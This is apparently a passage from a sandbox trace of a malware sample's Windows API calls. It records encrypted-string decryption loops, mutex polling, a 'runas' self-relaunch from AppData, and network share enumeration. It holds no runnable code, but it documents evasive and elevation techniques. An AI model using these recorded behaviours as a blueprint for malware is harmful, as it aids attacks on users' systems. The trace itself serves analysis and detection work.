dwFlags=0x0) returned 1 [0177.953] CryptDecrypt (in: hKey=0x8361a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0177.953] CryptDestroyKey (hKey=0x8361a0) returned 1 [0177.953] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0177.953] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0177.953] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0177.953] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x836260) returned 1 [0177.953] CryptSetKeyParam (hKey=0x836260, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0177.953] CryptDecrypt (in: hKey=0x836260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0177.953] CryptDestroyKey (hKey=0x836260) returned 1 [0177.953] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0177.953] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0177.953] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0177.953] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0177.953] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0177.953] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0177.953] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0177.953] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x836260) returned 1 [0177.953] CryptSetKeyParam (hKey=0x836260, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0177.953] CryptDecrypt (in: hKey=0x836260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0177.953] CryptDestroyKey (hKey=0x836260) returned 1 [0177.954] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0177.954] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3f4 [0177.954] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102 [0177.954] CloseHandle (hObject=0x3f4) returned 1 [0177.954] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0177.954] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0177.954] Sleep (dwMilliseconds=0x3e8) [0178.968] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0178.968] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x836260) returned 1 [0178.968] CryptSetKeyParam (hKey=0x836260, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0178.968] CryptDecrypt (in: hKey=0x836260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0178.968] CryptDestroyKey (hKey=0x836260) returned 1 [0178.968] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0178.968] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0178.968] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0178.969] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x8364e0) returned 1 [0178.969] CryptSetKeyParam (hKey=0x8364e0, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0178.969] CryptDecrypt (in: hKey=0x8364e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0178.969] CryptDestroyKey (hKey=0x8364e0) returned 1 [0178.969] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0178.969] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0178.969] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0178.969] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0178.969] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0179.139] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0179.139] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0179.139] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x836320) returned 1 [0179.139] CryptSetKeyParam (hKey=0x836320, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0179.139] CryptDecrypt (in: hKey=0x836320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0179.139] CryptDestroyKey (hKey=0x836320) returned 1 [0179.139] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0179.139] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3f4 [0179.139] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102 [0179.139] CloseHandle (hObject=0x3f4) returned 1 [0179.139] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0179.139] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0179.139] Sleep (dwMilliseconds=0x3e8) [0180.160] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0180.160] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8364e0) returned 1 [0180.160] CryptSetKeyParam (hKey=0x8364e0, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0180.160] CryptDecrypt (in: hKey=0x8364e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0180.160] CryptDestroyKey (hKey=0x8364e0) returned 1 [0180.160] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0180.160] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0180.160] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0180.160] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x8361a0) returned 1 [0180.160] CryptSetKeyParam (hKey=0x8361a0, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0180.160] CryptDecrypt (in: hKey=0x8361a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0180.160] CryptDestroyKey (hKey=0x8361a0) returned 1 [0180.160] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0180.160] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0180.160] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0180.160] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0180.160] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.160] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0180.160] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0180.160] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x836260) returned 1 [0180.160] CryptSetKeyParam (hKey=0x836260, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0180.160] CryptDecrypt (in: hKey=0x836260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0180.160] CryptDestroyKey (hKey=0x836260) returned 1 [0180.161] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0180.161] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3f4 [0180.161] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102 [0180.161] CloseHandle (hObject=0x3f4) returned 1 [0180.161] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0180.161] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0180.161] Sleep (dwMilliseconds=0x3e8) [0181.173] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0181.173] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x836460) returned 1 [0181.173] CryptSetKeyParam (hKey=0x836460, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0181.173] CryptDecrypt (in: hKey=0x836460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0181.173] CryptDestroyKey (hKey=0x836460) returned 1 [0181.173] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0181.173] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0181.173] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0181.173] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x8361a0) returned 1 [0181.173] CryptSetKeyParam (hKey=0x8361a0, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0181.173] CryptDecrypt (in: hKey=0x8361a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0181.173] CryptDestroyKey (hKey=0x8361a0) returned 1 [0181.173] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0181.173] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0181.173] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0181.173] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0181.173] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0181.174] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0181.174] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0181.174] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x836520) returned 1 [0181.174] CryptSetKeyParam (hKey=0x836520, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0181.174] CryptDecrypt (in: hKey=0x836520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0181.174] CryptDestroyKey (hKey=0x836520) returned 1 [0181.174] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0181.174] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3f4 [0181.174] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102 [0181.174] CloseHandle (hObject=0x3f4) returned 1 [0181.174] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0181.174] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0181.174] Sleep (dwMilliseconds=0x3e8) [0182.224] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0182.224] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x836260) returned 1 [0182.224] CryptSetKeyParam (hKey=0x836260, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0182.224] CryptDecrypt (in: hKey=0x836260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0182.224] CryptDestroyKey (hKey=0x836260) returned 1 [0182.224] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0182.224] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0182.224] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0182.224] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x836260) returned 1 [0182.224] CryptSetKeyParam (hKey=0x836260, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0182.224] CryptDecrypt (in: hKey=0x836260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0182.224] CryptDestroyKey (hKey=0x836260) returned 1 [0182.224] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0182.224] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0182.224] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0182.224] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0182.224] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0182.224] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0182.224] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0182.224] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x8361a0) returned 1 [0182.224] CryptSetKeyParam (hKey=0x8361a0, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0182.224] CryptDecrypt (in: hKey=0x8361a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0182.224] CryptDestroyKey (hKey=0x8361a0) returned 1 [0182.224] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0182.225] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3f4 [0182.225] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102 [0182.225] CloseHandle (hObject=0x3f4) returned 1 [0182.225] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0182.225] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0182.225] Sleep (dwMilliseconds=0x3e8) Thread: id = 51 os_tid = 0xe64 [0141.954] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a4e38 [0141.954] CryptImportKey (in: hProv=0x8067b0, pbData=0x232fa58, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x232fac0 | out: phKey=0x232fac0*=0x819430) returned 1 [0141.954] CryptSetKeyParam (hKey=0x819430, dwParam=0x1, pbData=0x232faa8, dwFlags=0x0) returned 1 [0141.954] CryptDecrypt (in: hKey=0x819430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e38, pdwDataLen=0x232fa74 | out: pbData=0x23a4e38, pdwDataLen=0x232fa74) returned 1 [0141.954] CryptDestroyKey (hKey=0x819430) returned 1 [0141.954] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23a1058 [0141.954] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x50) returned 0x23a4e50 [0141.954] CryptImportKey (in: hProv=0x8067b0, pbData=0x232fa34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x232fa9c | out: phKey=0x232fa9c*=0x819230) returned 1 [0141.954] CryptSetKeyParam (hKey=0x819230, dwParam=0x1, pbData=0x232fa84, dwFlags=0x0) returned 1 [0141.954] CryptDecrypt (in: hKey=0x819230, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0x232fa50 | out: pbData=0x23a4e50, pdwDataLen=0x232fa50) returned 1 [0141.954] CryptDestroyKey (hKey=0x819230) returned 1 [0141.954] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0141.954] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0141.954] Wow64DisableWow64FsRedirection (in: OldValue=0x232fae4 | out: OldValue=0x232fae4*=0x0) returned 1 [0141.955] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0141.955] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23a1058, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0141.955] ShellExecuteExW (in: pExecInfo=0x232fa8c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x232fa8c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0154.522] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x50) returned 0x23ac068 [0154.522] CryptImportKey (in: hProv=0x8067b0, pbData=0x232fa40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x232faa8 | out: phKey=0x232faa8*=0x894fb8) returned 1 [0154.522] CryptSetKeyParam (hKey=0x894fb8, dwParam=0x1, pbData=0x232fa90, dwFlags=0x0) returned 1 [0154.522] CryptDecrypt (in: hKey=0x894fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0x232fa5c | out: pbData=0x23ac068, pdwDataLen=0x232fa5c) returned 1 [0154.522] CryptDestroyKey (hKey=0x894fb8) returned 1 [0154.523] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0154.523] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75c06b50 [0154.523] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0154.523] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0154.523] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1058 | out: hHeap=0x23a0000) returned 1 [0154.523] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e38 | out: hHeap=0x23a0000) returned 1 Thread: id = 52 os_tid = 0xe68 Thread: id = 53 os_tid = 0xe78 Thread: id = 54 os_tid = 0xe7c Thread: id = 55 os_tid = 0xe80 Thread: id = 56 os_tid = 0xe84 Thread: id = 57 os_tid = 0xe88 Thread: id = 58 os_tid = 0xe8c Thread: id = 72 os_tid = 0xf2c Thread: id = 73 os_tid = 0xf30 [0147.007] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x21a) returned 0x23a86e8 [0147.007] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x28) returned 0x23a13f0 [0147.007] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4a0 [0147.007] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4a4 [0147.007] GetComputerNameW (in: lpBuffer=0x23a86f8, nSize=0x389fa8c | out: lpBuffer="NQDPDE", nSize=0x389fa8c) returned 1 [0147.007] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a14f8 [0147.007] GetLastError () returned 0xcb [0147.007] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x214) returned 0x23a8910 [0147.007] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0147.008] GetCurrentThreadId () returned 0xf30 [0147.008] SetLastError (dwErrCode=0xcb) [0147.008] GetLastError () returned 0xcb [0147.008] SetLastError (dwErrCode=0xcb) [0147.008] GetLastError () returned 0xcb [0147.008] SetLastError (dwErrCode=0xcb) [0147.008] GetLastError () returned 0xcb [0147.008] SetLastError (dwErrCode=0xcb) [0147.008] GetLastError () returned 0xcb [0147.008] SetLastError (dwErrCode=0xcb) [0147.008] GetLastError () returned 0xcb [0147.008] SetLastError (dwErrCode=0xcb) [0147.008] GetLastError () returned 0xcb [0147.008] SetLastError (dwErrCode=0xcb) [0147.008] GetLastError () returned 0xcb [0147.008] SetLastError (dwErrCode=0xcb) [0147.008] GetLastError () returned 0xcb [0147.009] SetLastError (dwErrCode=0xcb) [0147.009] GetLastError () returned 0xcb [0147.009] SetLastError (dwErrCode=0xcb) [0147.009] GetLastError () returned 0xcb [0147.009] SetLastError (dwErrCode=0xcb) [0147.009] GetLastError () returned 0xcb [0147.009] SetLastError (dwErrCode=0xcb) [0147.009] GetLastError () returned 0xcb [0147.009] SetLastError (dwErrCode=0xcb) [0147.009] GetLastError () returned 0xcb [0147.009] SetLastError (dwErrCode=0xcb) [0147.009] GetLastError () returned 0xcb [0147.009] SetLastError (dwErrCode=0xcb) [0147.009] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4000) returned 0x3620048 [0147.010] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x3624050 [0147.010] WNetOpenEnumW (in: dwScope=0x1, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x389fa50 | out: lphEnum=0x389fa50*=0x874248) returned 0x0 [0147.630] WNetEnumResourceW (in: hEnum=0x874248, lpcCount=0x389fa58, lpBuffer=0x3620048, lpBufferSize=0x389fa48 | out: lpcCount=0x389fa58, lpBuffer=0x3620048, lpBufferSize=0x389fa48) returned 0x103 [0147.630] WNetCloseEnum (hEnum=0x874248) returned 0x0 [0147.630] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3620048 | out: hHeap=0x23a0000) returned 1 [0147.630] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3624050 | out: hHeap=0x23a0000) returned 1 [0147.631] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4000) returned 0x37040c0 [0147.631] RtlAllocateHeap (HeapHandle=0x23a0000, 